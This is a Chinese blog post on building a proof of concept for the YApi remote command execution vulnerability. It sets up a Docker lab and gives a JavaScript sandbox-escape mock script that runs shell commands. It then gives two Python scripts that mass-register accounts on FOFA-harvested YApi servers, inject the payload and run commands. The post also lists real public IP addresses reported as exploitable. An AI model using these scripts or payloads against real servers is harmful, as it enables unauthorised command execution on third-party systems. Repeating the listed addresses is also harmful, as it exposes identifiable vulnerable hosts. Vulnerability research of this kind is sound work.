编写Poc：Yapi远程命令执行漏洞

Posted 2021-08-11 hunpi

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文章目录

使用Docker构建Yapi(Ubuntu环境)

（1）创建mongoDB数据卷：

docker volume create mongo_data_yapi

（2）启动MongoDb

docker run -d --name mongo-yapi -v mongo_data_yapi:/data/db mongo

（3）从阿里云仓库获取yapi镜像

docker pull registry.cn-hangzhou.aliyuncs.com/anoy/yapi

（4）初始化Yapi数据库索引，以及管理员账号

# 初始化管理员账号成功,账号名："admin@admin.com"，密码："ymfe.org"
docker run -it --rm  --link mongo-yapi:mongo  --entrypoint npm  --workdir /api/vendors  registry.cn-hangzhou.aliyuncs.com/anoy/yapi  run install-server

（5）创建yapi容器并启动

docker run -d  --name yapi  --link mongo-yapi:mongo  --workdir /api/vendors  -p 3000:3000  registry.cn-hangzhou.aliyuncs.com/anoy/yapi  server/app.js

通过ip:3000访问yapi服务。

访问yapi镜像，测试漏洞

（1）进入镜像

docker exec -it 32a744965b59097cbe03042c2a9bc4c95dcc48e2a0b904a73ab57396facb01e8 /bin/sh

查看ip地址

ip address				# 172.17.0.3/16

配置Tunnelblick，使用Mac宿主机访问docker靶场成功。

（2）手动添加项目和接口，输入脚本，成功执行命令。

const sandbox = this
const ObjectConstructor = this.constructor
const FunctionConstructor = ObjectConstructor.constructor
const myfun = FunctionConstructor('return process')
const process = myfun()
mockJson = process.mainModule.require("child_process").execSync("whoami").toString()

在这里插入图片描述

自动化探测脚本

FOFA批量探测（python3）

# -*- coding: utf-8 -*-

import json
import requests


group_id = ''
project_id = ''
catid = ''
unique = ''

import random
def random_str():   # 生成3位的随机字符串，避免注册邮箱和用户名重复
    randomStr = ""
    strData = 'abcdefghijklmnopqrstuvwxyz'
    randomStr += random.choice(strData) + random.choice(strData) + random.choice(strData)
    return randomStr


def be_register(url):
    global unique
    url = url + "/api/user/reg"
    header = {
        'Content-Type': 'application/json;charset=utf-8'
    }
    unique = random_str()

    data = '{"email":"' + unique + 'test@163.com","password":"test", "username":"' + unique + 'test"}'
    try:
        print(url)
        res = requests.post(url=url, headers=header, data=data, timeout=5)
        print(res.text)
        print(res.status_code)
        if '"errmsg":"成功！' in res.text:
            return 1
        else:
            print(url + " 111not support register.")
    except:
        print(url + " 222not support register.")

session = requests.Session()


def login(url):
    url = url + "/api/user/login"
    header = {
        'Content-Type': 'application/json;charset=utf-8'
    }
    data = '{"email":"' + unique + 'test@163.com","password":"test"}'

    logingo = session.post(url=url, headers=header, data=data)
    # print(logingo.text)

def add(gurl):
    global group_id, project_id, catid
    header = {
        'Content-Type': 'application/json;charset=utf-8'
    }
    turl = gurl + "/api/group/get_mygroup"
    t1 = session.get(url=turl, timeout=5)
    group_id = json.loads(t1.text)['data']['_id']
    url1 = gurl + "/api/project/add"
    data1 = '{"name":"1","basepath":"/1","group_id":"' + str(
        group_id) + '","icon":"code-o","color":"green","project_type":"private"}'
    add1 = session.post(url=url1, headers=header, data=data1, timeout=5)
    turl2 = gurl + "/api/project/list?group_id=" + str(group_id) + "&page=1&limit=10"
    t2 = session.get(url=turl2, timeout=5)
    project_id = json.loads(t2.text)['data']['list'][0]['_id']
    turl3 = gurl + "/api/interface/list_menu?project_id=" + str(project_id) + ""
    t3 = session.get(url=turl3, timeout=5)
    catid = json.loads(t3.text)['data'][0]['_id']
    url2 = gurl + "/api/interface/add"
    data2 = '{"method":"GET","catid":"' + str(catid) + '","title":"1","path":"/1","project_id":' + str(project_id) + '}'
    # print(data1)

    add2 = session.post(url=url2, headers=header, data=data2, timeout=5)


def run(gurl, exec):
    turl = gurl + "/api/interface/list?page=1&limit=20&project_id=" + str(project_id) + ""
    t1 = session.get(url=turl, timeout=5)
    interface_id = json.loads(t1.text)['data']['list'][0]['_id']
    url = gurl + "/api/plugin/advmock/save"
    data = '''{"project_id":"''' + str(project_id) + '''","interface_id":"''' + str(
        interface_id) + '''","mock_script":"const sandbox = this\\\\nconst ObjectConstructor = this.constructor\\\\nconst FunctionConstructor = ObjectConstructor.constructor\\\\nconst myfun = FunctionConstructor('return process')\\\\nconst process = myfun()\\\\nmockJson = process.mainModule.require(\\\\"child_process\\\\").execSync(\\\\"''' + exec + '''\\\\").toString()","enable":true}'''
    header = {
        'Content-Type': 'application/json;charset=utf-8'
    }

    cmd = session.post(url=url, data=data, headers=header, timeout=5)
    # print(cmd.text)
    result = requests.get(url=gurl + "/mock/" + str(project_id) + "/1/1", timeout=5)
    if(("eth0" in result.text) or ("root" in result.text)):
        print("===============>存在漏洞：" + gurl + "/mock/" + str(project_id) + "/1/1")
    else:
        print("=====不存在漏洞" + gurl + "/mock/" + str(project_id) + "/1/1")

def be_connect(url):
    try:
        requests.get(url, timeout=5)
        return 1
    except:
        print(url + " 无法连接")

if __name__ == '__main__':
    session = requests.Session()
    exec = 'whoami & ifconfig || ipconfig'

    with open('FOFA_Yapi_1-11.txt', 'r') as f:
        mylist = f.read()
        mylist = mylist.split('\\n')
        f.close()

        for url in mylist:
            if "http" not in url:
                url = "http://" + url
            if(be_connect(url) == 1):
                if(be_register(url) == 1):
                    login(url)
                    try:
                        add(url)
                        run(url, exec)
                    except:
                        print("add/run函数错误"+ url)

# 误报率很高：
# Not support register ：http://52.80.250.134:3005。手工测试，存在漏洞。
# 还有一些是可以注册，但是运行报告称：不支持注册。

'''
存在漏洞：

自动检测
http://123.14.120.254:14000/api/plugin/advmock/save

手测：
http://52.80.250.134:3005
http://1.117.246.169:3000
http://47.119.175.250:3001/mock/195/test/test

新脚本测试100站点：
===============>存在漏洞：http://1.117.139.96:3000/mock/31/1/1
===============>存在漏洞：http://122.112.140.186:3001/mock/218/1/1
===============>存在漏洞：http://114.116.97.101:3000/mock/137/1/1

'''

# 点击mock链接可能报错：{"errcode":400,"errmsg":"解析出错，请检查。Error: Cannot read property 'require' of undefined","data":null}

单url探测（python2）

#! -*- coding:utf-8 -*-

import sys
from sys import path;path.append("..")
from lib.DDRequests import DDRequests,ddheaders
from lib.log import log
import requests
import random
import json

def random_str():   # 生成3位的随机字符串，避免注册邮箱和用户名重复
    randomStr = ""
    strData = 'abcdefghijklmnopqrstuvwxyz'
    randomStr += random.choice(strData) + random.choice(strData) + random.choice(strData)
    return randomStr

def be_register(url):
    global unique
    url = url + "/api/user/reg"
    header = {
        "Content-Type": "application/json;charset=UTF-8"
    }
    unique = random_str()
    data = '{"email":"' + unique + 'test@163.com","password":"test", "username":"' + unique + 'test"}'
    try:
        # res = requests.post(url=url, headers=header, data=data, proxies=proxies, timeout=5)
        res = requests.post(url=url, data=data, headers=header, timeout=5)
        flag = res.content.find('成功')
        if flag != -1:
            return 1
        else:
            log("[Yapi_Remote Command Execute] %s is not exists 真没有" % (url), "Info")
    # except Exception:
    except ZeroDivisionError, reason:
        log("[Yapi_Remote Command Execute] %s is not exists 异常导致没有" % (url), "Info")

session = requests.Session()

def login(url):
    url = url + "/api/user/login"
    header = {
        'Content-Type': 'application/json;charset=utf-8'
    }
    data = '{"email":"' + unique + 'test@163.com","password":"test"}'

    logingo = session.post(url=url, headers=header, data=data)
    # print(logingo.text)

def add(gurl):
    global group_id, project_id, catid
    header = {
        'Content-Type': 'application/json;charset=utf-8'
    }
    turl = gurl + "/api/group/get_mygroup"
    t1 = session.get(url=turl, timeout=5)
    group_id = json.loads(t1.text)['data']['_id']
    url1 = gurl + "/api/project/add"
    data1 = '{"name":"1","basepath":"/1","group_id":"' + str(
        group_id) + '","icon":"code-o","color":"green","project_type":"private"}'
    add1 = session.post(url=url1, headers=header, data=data1, timeout=5)
    turl2 = gurl + "/api/project/list?group_id=" + str(group_id) + "&page=1&limit=10"
    t2 = session.get(url=turl2, timeout=5)
    project_id = json.loads(t2.text)['data']['list'][0]['_id']
    turl3 = gurl + "/api/interface/list_menu?project_id=" + str(project_id) + ""
    t3 = session.get(url=turl3, timeout=5)
    catid = json.loads(t3.text)['data'][0]['_id']
    url2 = gurl + "/api/interface/add"
    data2 = '{"method":"GET","catid":"' + str(catid) + '","title":"1","path":"/1","project_id":' + str(project_id) + '}'
    # print(data1)

    add2 = session.post(url=url2, headers=header, data=data2, timeout=5)


def run(gurl, Myexec):
    WEAK_RESULT_DICT = {

        "type_f": "webweak",
        "data": "",
        "url": "",
        "resp_header": "",
        "resp_body": "",
    }
    turl = gurl + "/api/interface/list?page=1&limit=20&project_id=" + str(project_id) + ""
    t1 = session.get(url=turl, timeout=5)
    interface_id = json.loads(t1.text)['data']['list'][0]['_id']
    url = gurl + "/api/plugin/advmock/save"
    data = '''{"project_id":"''' + str(project_id) + '''","interface_id":"''' + str(
        interface_id) + '''","mock_script":"const sandbox = this\\\\nconst ObjectConstructor = this.constructor\\\\nconst FunctionConstructor = ObjectConstructor.constructor\\\\nconst myfun = FunctionConstructor('return process')\\\\nconst process = myfun()\\\\nmockJson = process.mainModule.require(\\\\"child_process\\\\").execSync(\\\\"''' + Myexec + '''\\\\").toString()","enable":true}'''
    header = {
        'Content-Type': 'application/json;charset=utf-8'
    }

    cmd = session.post(url=url, data=data, headers=header, timeout=5)
    # print(cmd.text)
    result = requests.get(url=gurl + "/mock/" + str(project_id) + "/1/1", timeout=5)
    # print gurl + "/mock/" + str(project_id) + "/1/1"

    code = result.status_code
    content = result.text


    if(("eth0" in result.text) or ("root" in result.text)):
        log("[Yapi_Remote Command Execute] %s is exists" % (gurl + "/mock/" + str(project_id) + "/1/1"), "Warning")
        # print("===============>存在漏洞：" + gurl + "/mock/" + str(project_id) + "/1/1")
        WEAK_RESULT_DICT["url"] = gurl + "/mock/" + str(project_id) + "/1/1"
        WEAK_RESULT_DICT["data"] = content
        WEAK_RESULT_DICT["resp_header"] = result.headers
        WEAK_RESULT_DICT["resp_body"] = result.text
        return WEAK_RESULT_DICT

    # else:
    #     log("[Yapi_Remote Command Execute] %s is not exists" % (url), "Info")
    #     # print("=====不存在漏洞" + gurl + "/mock/" + str(project_id) + "/1/1")


def crack(type_, domain, ip, port):

    # 定义要返回的字典
    WEAK_RESULT_DICT = {

        "type_f": "webweak",
        "data": "",
        "url": "",
        "resp_header": "",
        "resp_body": "",
    }

    url = type_ + "://" + domain + ":" + str(port)
    Myexec = 'whoami & ifconfig || ipconfig'
    try:
        if be_register(url):
            try:
                login(url)
                add(url)
                WEAK_RESULT_DICT = run(url, Myexec)
            except:
                log("[Yapi_Remote Command Execute] %s is not exists" % (url), "Info")
    except:
        log("[Yapi_Remote Command Execute] %s is not exists" % (url), "Info")

    return WEAK_RESULT_DICT


if __name__ == "__main__":
    # crack(sys.argv[1], sys.argv[2], sys.argv[2], sys.argv[3])
    # crack("http", "122.112.140.186", "122.112.140.186", "3001")

    # 测试用例：
    crack("http", "182.254.246.76", "182.254.246.76", "8082")

脚本运行效果如下。
在这里插入图片描述

参考

《Yapi远程命令执行漏洞》，2021-07
https://mp.weixin.qq.com/s/BegDH04rbVAGQ_uDSihSZg。

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